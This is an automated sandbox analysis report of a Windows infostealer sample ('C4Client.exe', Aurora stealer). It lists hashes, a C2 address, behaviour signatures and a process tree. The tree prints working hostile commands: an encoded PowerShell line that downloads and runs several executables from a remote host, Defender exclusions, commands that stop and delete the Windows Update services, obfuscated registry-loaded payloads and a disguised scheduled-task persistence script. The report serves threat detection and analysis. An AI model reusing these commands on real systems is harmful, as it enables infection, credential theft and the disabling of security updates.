Analysis
-
max time kernel
147s -
max time network
32s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
29-03-2023 06:16
Static task
static1
Behavioral task
behavioral1
Sample
C4Client.exe
Resource
win7-20230220-en
General
-
Target
C4Client.exe
-
Size
1016KB
-
MD5
77081f23b31d05de271d128eebceb4bc
-
SHA1
f06c4dd766c4784d6b513ca9bad819494e726c8b
-
SHA256
10b527427042ca32d0683e016e2b5458799363d68bb4ee616b66ffdcd9377585
-
SHA512
584db879c3360ec08d5f0e6bf08c87971b17ccf159674874fb5f54207087ef22ca953a9fe660d84c739e49621283ca3919b40735adad14e96eb4951c7dcd4c35
-
SSDEEP
3072:0nTjRD5V730BSng7tJr8Khw6pItWgAEqjAxou3e7BNIdOAg0FujDvktlL0BjMwmk:G1V7h2r/hwNWgAEqjAKmkAOECjMwm
Malware Config
Extracted
aurora
107.182.129.73:8081
Signatures
-
Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
Processes:
SmartDefRun.exepowershell.EXEdescription pid process target process PID 1492 created 1244 1492 SmartDefRun.exe Explorer.EXE PID 1492 created 1244 1492 SmartDefRun.exe Explorer.EXE PID 1492 created 1244 1492 SmartDefRun.exe Explorer.EXE PID 1492 created 1244 1492 SmartDefRun.exe Explorer.EXE PID 1292 created 416 1292 powershell.EXE winlogon.exe -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 4 380 powershell.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
Processes:
SmartDefRun.exedescription ioc process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Stops running service(s) 3 TTPs
-
Executes dropped EXE 4 IoCs
Processes:
C4Loader.exenew2.exeSysApp.exeSmartDefRun.exepid process 1484 C4Loader.exe 1660 new2.exe 748 SysApp.exe 1492 SmartDefRun.exe -
Loads dropped DLL 7 IoCs
Processes:
powershell.exepid process 380 powershell.exe 380 powershell.exe 380 powershell.exe 380 powershell.exe 380 powershell.exe 380 powershell.exe 380 powershell.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Drops file in System32 directory 4 IoCs
Processes:
powershell.EXEpowershell.EXEpowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
C4Client.exeSmartDefRun.exepowershell.EXEdescription pid process target process PID 1716 set thread context of 888 1716 C4Client.exe RegSvcs.exe PID 1492 set thread context of 2044 1492 SmartDefRun.exe dialer.exe PID 1292 set thread context of 1976 1292 powershell.EXE dllhost.exe -
Drops file in Program Files directory 1 IoCs
Processes:
SmartDefRun.exedescription ioc process File created C:\Program Files\WindowsDefenderUpd/Defender\UpdatedSmartScreen.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exepid process 1908 sc.exe 1664 sc.exe 560 sc.exe 1632 sc.exe 1528 sc.exe -
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1188 1716 WerFault.exe C4Client.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 2 IoCs
Processes:
powershell.EXEdescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a0dbbfc51662d901 powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exeSmartDefRun.exepowershell.exepowershell.exeSysApp.exepowershell.EXEpowershell.EXEdllhost.exepid process 380 powershell.exe 380 powershell.exe 380 powershell.exe 380 powershell.exe 380 powershell.exe 380 powershell.exe 380 powershell.exe 380 powershell.exe 380 powershell.exe 1492 SmartDefRun.exe 1492 SmartDefRun.exe 1408 powershell.exe 1492 SmartDefRun.exe 1492 SmartDefRun.exe 1492 SmartDefRun.exe 1492 SmartDefRun.exe 1604 powershell.exe 1492 SmartDefRun.exe 1492 SmartDefRun.exe 748 SysApp.exe 748 SysApp.exe 748 SysApp.exe 748 SysApp.exe 748 SysApp.exe 1292 powershell.EXE 680 powershell.EXE 1292 powershell.EXE 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe 1976 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exewmic.exepowershell.exeWMIC.exedescription pid process Token: SeDebugPrivilege 380 powershell.exe Token: SeIncreaseQuotaPrivilege 1076 wmic.exe Token: SeSecurityPrivilege 1076 wmic.exe Token: SeTakeOwnershipPrivilege 1076 wmic.exe Token: SeLoadDriverPrivilege 1076 wmic.exe Token: SeSystemProfilePrivilege 1076 wmic.exe Token: SeSystemtimePrivilege 1076 wmic.exe Token: SeProfSingleProcessPrivilege 1076 wmic.exe Token: SeIncBasePriorityPrivilege 1076 wmic.exe Token: SeCreatePagefilePrivilege 1076 wmic.exe Token: SeBackupPrivilege 1076 wmic.exe Token: SeRestorePrivilege 1076 wmic.exe Token: SeShutdownPrivilege 1076 wmic.exe Token: SeDebugPrivilege 1076 wmic.exe Token: SeSystemEnvironmentPrivilege 1076 wmic.exe Token: SeRemoteShutdownPrivilege 1076 wmic.exe Token: SeUndockPrivilege 1076 wmic.exe Token: SeManageVolumePrivilege 1076 wmic.exe Token: 33 1076 wmic.exe Token: 34 1076 wmic.exe Token: 35 1076 wmic.exe Token: SeIncreaseQuotaPrivilege 1076 wmic.exe Token: SeSecurityPrivilege 1076 wmic.exe Token: SeTakeOwnershipPrivilege 1076 wmic.exe Token: SeLoadDriverPrivilege 1076 wmic.exe Token: SeSystemProfilePrivilege 1076 wmic.exe Token: SeSystemtimePrivilege 1076 wmic.exe Token: SeProfSingleProcessPrivilege 1076 wmic.exe Token: SeIncBasePriorityPrivilege 1076 wmic.exe Token: SeCreatePagefilePrivilege 1076 wmic.exe Token: SeBackupPrivilege 1076 wmic.exe Token: SeRestorePrivilege 1076 wmic.exe Token: SeShutdownPrivilege 1076 wmic.exe Token: SeDebugPrivilege 1076 wmic.exe Token: SeSystemEnvironmentPrivilege 1076 wmic.exe Token: SeRemoteShutdownPrivilege 1076 wmic.exe Token: SeUndockPrivilege 1076 wmic.exe Token: SeManageVolumePrivilege 1076 wmic.exe Token: 33 1076 wmic.exe Token: 34 1076 wmic.exe Token: 35 1076 wmic.exe Token: SeDebugPrivilege 1408 powershell.exe Token: SeIncreaseQuotaPrivilege 1688 WMIC.exe Token: SeSecurityPrivilege 1688 WMIC.exe Token: SeTakeOwnershipPrivilege 1688 WMIC.exe Token: SeLoadDriverPrivilege 1688 WMIC.exe Token: SeSystemProfilePrivilege 1688 WMIC.exe Token: SeSystemtimePrivilege 1688 WMIC.exe Token: SeProfSingleProcessPrivilege 1688 WMIC.exe Token: SeIncBasePriorityPrivilege 1688 WMIC.exe Token: SeCreatePagefilePrivilege 1688 WMIC.exe Token: SeBackupPrivilege 1688 WMIC.exe Token: SeRestorePrivilege 1688 WMIC.exe Token: SeShutdownPrivilege 1688 WMIC.exe Token: SeDebugPrivilege 1688 WMIC.exe Token: SeSystemEnvironmentPrivilege 1688 WMIC.exe Token: SeRemoteShutdownPrivilege 1688 WMIC.exe Token: SeUndockPrivilege 1688 WMIC.exe Token: SeManageVolumePrivilege 1688 WMIC.exe Token: 33 1688 WMIC.exe Token: 34 1688 WMIC.exe Token: 35 1688 WMIC.exe Token: SeIncreaseQuotaPrivilege 1688 WMIC.exe Token: SeSecurityPrivilege 1688 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
C4Client.exeRegSvcs.exepowershell.exenew2.execmd.execmd.exedescription pid process target process PID 1716 wrote to memory of 888 1716 C4Client.exe RegSvcs.exe PID 1716 wrote to memory of 888 1716 C4Client.exe RegSvcs.exe PID 1716 wrote to memory of 888 1716 C4Client.exe RegSvcs.exe PID 1716 wrote to memory of 888 1716 C4Client.exe RegSvcs.exe PID 1716 wrote to memory of 888 1716 C4Client.exe RegSvcs.exe PID 1716 wrote to memory of 888 1716 C4Client.exe RegSvcs.exe PID 1716 wrote to memory of 888 1716 C4Client.exe RegSvcs.exe PID 1716 wrote to memory of 888 1716 C4Client.exe RegSvcs.exe PID 1716 wrote to memory of 888 1716 C4Client.exe RegSvcs.exe PID 1716 wrote to memory of 1188 1716 C4Client.exe WerFault.exe PID 1716 wrote to memory of 1188 1716 C4Client.exe WerFault.exe PID 1716 wrote to memory of 1188 1716 C4Client.exe WerFault.exe PID 1716 wrote to memory of 1188 1716 C4Client.exe WerFault.exe PID 888 wrote to memory of 380 888 RegSvcs.exe powershell.exe PID 888 wrote to memory of 380 888 RegSvcs.exe powershell.exe PID 888 wrote to memory of 380 888 RegSvcs.exe powershell.exe PID 888 wrote to memory of 380 888 RegSvcs.exe powershell.exe PID 380 wrote to memory of 1484 380 powershell.exe C4Loader.exe PID 380 wrote to memory of 1484 380 powershell.exe C4Loader.exe PID 380 wrote to memory of 1484 380 powershell.exe C4Loader.exe PID 380 wrote to memory of 1484 380 powershell.exe C4Loader.exe PID 380 wrote to memory of 1660 380 powershell.exe new2.exe PID 380 wrote to memory of 1660 380 powershell.exe new2.exe PID 380 wrote to memory of 1660 380 powershell.exe new2.exe PID 380 wrote to memory of 1660 380 powershell.exe new2.exe PID 380 wrote to memory of 748 380 powershell.exe SysApp.exe PID 380 wrote to memory of 748 380 powershell.exe SysApp.exe PID 380 wrote to memory of 748 380 powershell.exe SysApp.exe PID 380 wrote to memory of 748 380 powershell.exe SysApp.exe PID 380 wrote to memory of 1492 380 powershell.exe SmartDefRun.exe PID 380 wrote to memory of 1492 380 powershell.exe SmartDefRun.exe PID 380 wrote to memory of 1492 380 powershell.exe SmartDefRun.exe PID 380 wrote to memory of 1492 380 powershell.exe SmartDefRun.exe PID 1660 wrote to memory of 1076 1660 new2.exe wmic.exe PID 1660 wrote to memory of 1076 1660 new2.exe wmic.exe PID 1660 wrote to memory of 1076 1660 new2.exe wmic.exe PID 1660 wrote to memory of 2028 1660 new2.exe cmd.exe PID 1660 wrote to memory of 2028 1660 new2.exe cmd.exe PID 1660 wrote to memory of 2028 1660 new2.exe cmd.exe PID 2028 wrote to memory of 1688 2028 cmd.exe WMIC.exe PID 2028 wrote to memory of 1688 2028 cmd.exe WMIC.exe PID 2028 wrote to memory of 1688 2028 cmd.exe WMIC.exe PID 1956 wrote to memory of 1664 1956 cmd.exe sc.exe PID 1956 wrote to memory of 1664 1956 cmd.exe sc.exe PID 1956 wrote to memory of 1664 1956 cmd.exe sc.exe PID 1956 wrote to memory of 560 1956 cmd.exe sc.exe PID 1956 wrote to memory of 560 1956 cmd.exe sc.exe PID 1956 wrote to memory of 560 1956 cmd.exe sc.exe PID 1956 wrote to memory of 1632 1956 cmd.exe sc.exe PID 1956 wrote to memory of 1632 1956 cmd.exe sc.exe PID 1956 wrote to memory of 1632 1956 cmd.exe sc.exe PID 1956 wrote to memory of 1528 1956 cmd.exe sc.exe PID 1956 wrote to memory of 1528 1956 cmd.exe sc.exe PID 1956 wrote to memory of 1528 1956 cmd.exe sc.exe PID 1956 wrote to memory of 1908 1956 cmd.exe sc.exe PID 1956 wrote to memory of 1908 1956 cmd.exe sc.exe PID 1956 wrote to memory of 1908 1956 cmd.exe sc.exe PID 1956 wrote to memory of 972 1956 cmd.exe reg.exe PID 1956 wrote to memory of 972 1956 cmd.exe reg.exe PID 1956 wrote to memory of 972 1956 cmd.exe reg.exe PID 1956 wrote to memory of 596 1956 cmd.exe reg.exe PID 1956 wrote to memory of 596 1956 cmd.exe reg.exe PID 1956 wrote to memory of 596 1956 cmd.exe reg.exe PID 1956 wrote to memory of 1332 1956 cmd.exe reg.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
-
\\?\C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R3⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {966F33E5-9E8B-435B-847A-BA6C2918910C} S-1-5-18:NT AUTHORITY\System:Service:3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+''+'R'+'E').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'e'+''+'r'+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+'W'+''+[Char](65)+'RE').GetValue(''+[Char](100)+'i'+[Char](97)+''+[Char](108)+'e'+[Char](114)+''+'s'+'t'+'a'+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵
-
C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵
-
C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{18d2c5e1-4911-4b4c-9545-e1bd9beb5a14}2⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\C4Client.exe"C:\Users\Admin\AppData\Local\Temp\C4Client.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAZgBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdQB1AHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAcgBuAHkAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZQBlAG4AIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwB5AHYAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHYAaQBoACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHoAZgBxACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwBoAGMAcQAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGcAcwB3ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAagBwAG4AIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcQBzAHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBqAHYAeAAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBxAHkAbQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHMAdAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGkAeQBnACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAGUAaABkACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBiAHgAZwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHMAYwBiACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHMAZwBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwB1AHIAZAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB0AGoAbAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcQBqAHMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBwAGMAegAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBxAGkAdQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAagBqAHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAeQB5AGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdwBzAGQAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAbAB0ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB0AGoAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB2AHIAdQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAagByAHcAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBwAGcAdQAjAD4A"4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\wmic.exewmic os get Caption6⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd /C "wmic path win32_VideoController get name"6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name7⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd /C "wmic cpu get name"6⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get name7⤵
-
C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1716 -s 723⤵
- Program crash
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#kryoeujoq#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenMachine' /tr '''C:\Program Files\WindowsDefenderUpd/Defender\UpdatedSmartScreen.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderUpd/Defender\UpdatedSmartScreen.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenMachine' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenMachine" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderUpd/Defender\UpdatedSmartScreen.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenMachine /tr "'C:\Program Files\WindowsDefenderUpd/Defender\UpdatedSmartScreen.exe'"3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\C4Loader.exeFilesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
